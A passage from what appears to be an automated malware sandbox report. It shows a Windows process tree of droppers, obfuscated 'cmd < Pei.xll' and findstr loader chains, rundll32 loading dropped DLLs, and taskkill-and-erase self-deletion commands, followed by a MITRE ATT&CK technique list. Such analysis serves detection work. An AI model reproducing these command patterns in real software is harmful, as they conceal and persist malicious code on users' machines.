7⤵
PID:22304

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:24888

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:25560

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:25296

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:24808

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:25044

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:26404

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:26852

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:27644

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:26644

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:17040

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:27088

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:28124

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:27732

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:28268

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:4612

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:27260

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:28648

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:13876

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:24272

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:26976

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:28780

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:29400

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:29972

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:30596

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:30364

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:29996

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:8356

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:30732

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:31344

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:30768

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:31412

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:31628

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:31380

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:31988

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:32740

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:16928

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:25172

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:32616

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:32928

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:29432

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:29164

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:33584

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:13916

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:34036

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:34188

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:34072

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:35600

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:35692

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:14928

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:35272

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:36160

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:36848

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:25928

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:33008

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:36036

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:32492

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:36956

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:37824

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:37732

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:37312

C:\Users\Admin\Documents\dpNk1rSctfrZNw0LRPr_XUcT.exe
"C:\Users\Admin\Documents\dpNk1rSctfrZNw0LRPr_XUcT.exe"
6⤵
PID:12512

C:\Users\Admin\Documents\tO1Napujos3NVP5mH7LeEBTr.exe
"C:\Users\Admin\Documents\tO1Napujos3NVP5mH7LeEBTr.exe"
6⤵
PID:6112

C:\Users\Admin\AppData\Local\Temp\is-NRILI.tmp\tO1Napujos3NVP5mH7LeEBTr.tmp
"C:\Users\Admin\AppData\Local\Temp\is-NRILI.tmp\tO1Napujos3NVP5mH7LeEBTr.tmp" /SL5="$1079C,1298908,743424,C:\Users\Admin\Documents\tO1Napujos3NVP5mH7LeEBTr.exe"
7⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:10984

C:\Program Files (x86)\afqTools\afqTools.exe
"C:\Program Files (x86)\afqTools\afqTools.exe"
8⤵
PID:10080

C:\Users\Admin\Documents\pAj38uGqlk4gkdJ1n3RHrnNB.exe
"C:\Users\Admin\Documents\pAj38uGqlk4gkdJ1n3RHrnNB.exe"
6⤵
PID:18280

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "pAj38uGqlk4gkdJ1n3RHrnNB.exe" /f & erase "C:\Users\Admin\Documents\pAj38uGqlk4gkdJ1n3RHrnNB.exe" & exit
7⤵
PID:11952

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "pAj38uGqlk4gkdJ1n3RHrnNB.exe" /f
8⤵
- Kills process with taskkill
PID:19260

C:\Users\Admin\Documents\_Q6M8836YtAaWlek6OVpAb92.exe
"C:\Users\Admin\Documents\_Q6M8836YtAaWlek6OVpAb92.exe"
6⤵
PID:15012

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 15012 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\_Q6M8836YtAaWlek6OVpAb92.exe"
7⤵
PID:9904

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 15012
8⤵
- Kills process with taskkill
PID:18252

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 15012 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\_Q6M8836YtAaWlek6OVpAb92.exe"
7⤵
PID:4960

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 15012
8⤵
- Kills process with taskkill
PID:15796

C:\Users\Admin\Documents\RcdQ5yYRxK0NDU2xuKDVFS7p.exe
"C:\Users\Admin\Documents\RcdQ5yYRxK0NDU2xuKDVFS7p.exe"
6⤵
PID:18388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 18388 -s 656
7⤵
- Program crash
PID:18740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 18388 -s 672
7⤵
- Program crash
PID:19744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 18388 -s 680
7⤵
- Program crash
PID:21384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 18388 -s 636
7⤵
- Program crash
PID:22244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 18388 -s 1116
7⤵
- Program crash
PID:20092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 18388 -s 1160
7⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:26724

C:\Users\Admin\Documents\Bl4pHvNJhSK_uZj6M3xsxDPU.exe
"C:\Users\Admin\Documents\Bl4pHvNJhSK_uZj6M3xsxDPU.exe"
6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:11596

C:\Users\Admin\Documents\K_MNWTgTqctAjccKDZBVZEGb.exe
"C:\Users\Admin\Documents\K_MNWTgTqctAjccKDZBVZEGb.exe"
6⤵
PID:4888

C:\Users\Admin\Documents\K_MNWTgTqctAjccKDZBVZEGb.exe
"C:\Users\Admin\Documents\K_MNWTgTqctAjccKDZBVZEGb.exe" -u
7⤵
PID:20260

C:\Users\Admin\Documents\0HsROMY49BVMT6jtcRaLVDLT.exe
"C:\Users\Admin\Documents\0HsROMY49BVMT6jtcRaLVDLT.exe"
6⤵
PID:18476

C:\Users\Admin\AppData\Roaming\8536716.exe
"C:\Users\Admin\AppData\Roaming\8536716.exe"
7⤵
PID:17860

C:\Users\Admin\AppData\Roaming\1942204.exe
"C:\Users\Admin\AppData\Roaming\1942204.exe"
7⤵
- Suspicious behavior: SetClipboardViewer
PID:21008

C:\Users\Admin\AppData\Roaming\3923019.exe
"C:\Users\Admin\AppData\Roaming\3923019.exe"
7⤵
PID:4504

C:\Users\Admin\AppData\Roaming\7919389.exe
"C:\Users\Admin\AppData\Roaming\7919389.exe"
7⤵
PID:23140

C:\Users\Admin\Documents\CQzDZ1T2B_hjOeZr4knlduge.exe
"C:\Users\Admin\Documents\CQzDZ1T2B_hjOeZr4knlduge.exe"
6⤵
PID:19092

C:\Users\Admin\AppData\Local\Temp\is-FVO7U.tmp\CQzDZ1T2B_hjOeZr4knlduge.tmp
"C:\Users\Admin\AppData\Local\Temp\is-FVO7U.tmp\CQzDZ1T2B_hjOeZr4knlduge.tmp" /SL5="$10844,138429,56832,C:\Users\Admin\Documents\CQzDZ1T2B_hjOeZr4knlduge.exe"
7⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:13804

C:\Users\Admin\AppData\Local\Temp\is-HDNH0.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-HDNH0.tmp\Setup.exe" /Verysilent
8⤵
- Drops file in Program Files directory
PID:25572

C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"
3⤵
PID:5372

C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"
3⤵
PID:6520

C:\Users\Admin\AppData\Local\Temp\tmpB5C_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpB5C_tmp.exe"
4⤵
- Adds Run key to start application
PID:12588

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
5⤵
PID:13156

C:\Windows\SysWOW64\cmd.exe
cmd /c cmd < Pei.xll
5⤵
PID:12428

C:\Windows\SysWOW64\cmd.exe
cmd
6⤵
PID:11840

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^HlGEvpOWJOEhLjtMCMDsxiaRDGubGurupaMHjGXUgfrcGybsXUFbdIsmSOwQrdfCLnrzmbAVPJrtrXlnpOAMBGPBqjObFuRXZBJowtRmxKIHEjcVEDHgPDwyIBahIedISyy$" Passa.xll
7⤵
PID:16276

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
Tra.exe.com o
7⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:19248

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
8⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:20016

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
9⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:20684

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
10⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:20932

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
11⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:22292

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
12⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:22064

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
13⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:7524

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
14⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:23012

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
15⤵
PID:17796

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
16⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:24048

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
17⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:24464

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
18⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:10276

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
19⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:24648

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
20⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:24788

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
21⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:10100

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
22⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:26600

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
23⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:28528

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
24⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:28172

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
25⤵
- Suspicious use of SendNotifyMessage
PID:26152

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
26⤵
PID:24980

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
27⤵
- Suspicious use of SendNotifyMessage
PID:21876

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o
28⤵
- Drops startup file
- Suspicious use of SendNotifyMessage
PID:24980

C:\Windows\SysWOW64\PING.EXE
ping localhost
7⤵
- Runs ping.exe
PID:19528

C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"
3⤵
PID:6408

C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a
4⤵
PID:10272

C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"
3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3388

C:\Users\Admin\AppData\Roaming\7369757.exe
"C:\Users\Admin\AppData\Roaming\7369757.exe"
4⤵
PID:10920

C:\Users\Admin\AppData\Roaming\1079966.exe
"C:\Users\Admin\AppData\Roaming\1079966.exe"
4⤵
- Suspicious behavior: SetClipboardViewer
PID:11772

C:\Users\Admin\AppData\Roaming\3034991.exe
"C:\Users\Admin\AppData\Roaming\3034991.exe"
4⤵
PID:11376

C:\Users\Admin\AppData\Roaming\6037325.exe
"C:\Users\Admin\AppData\Roaming\6037325.exe"
4⤵
PID:9104

C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"
3⤵
PID:7368

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7668

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:5576

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3920

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:7880

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10504

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10948

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:12832

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\e1a3a41b8a5a4de08b012b407d921292 /t 13116 /p 12832
1⤵
PID:13260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:2356

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:14212

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:19916

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:8912

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:18984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Change Default File Association

T1042

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery